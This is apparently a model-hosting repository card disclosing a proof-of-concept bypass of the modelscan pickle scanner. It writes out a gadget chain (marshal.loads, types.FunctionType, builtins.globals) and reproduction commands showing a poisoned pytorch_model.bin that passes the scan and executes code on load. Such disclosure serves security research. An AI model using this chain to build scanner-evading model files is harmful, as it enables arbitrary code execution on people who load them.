You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

modelscan Bypass PoC: marshal.loads + types.FunctionType + builtins.globals

Vulnerability

Demonstrates a bypass of ProtectAI's modelscan v0.7.6 pickle scanner using three modules absent from the blocklist:

  • marshal โ€” deserializes pre-compiled Python code objects
  • types โ€” wraps code objects into callable FunctionType instances
  • builtins.globals โ€” provides the runtime namespace (passes substring filter since "globals" doesn't match any blocked name)

Impact

Full arbitrary code execution when the model file is loaded via pickle.loads() or torch.load(), while modelscan reports zero issues.

Chain

types.FunctionType(
    marshal.loads(<compiled_bytecode>),
    builtins.globals()
)()

Reproduce

modelscan scan -p pytorch_model.bin   # โ†’ No issues found
python3 -c "import pickle; pickle.loads(open('pytorch_model.bin','rb').read())"  # โ†’ RCE
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐Ÿ™‹ Ask for provider support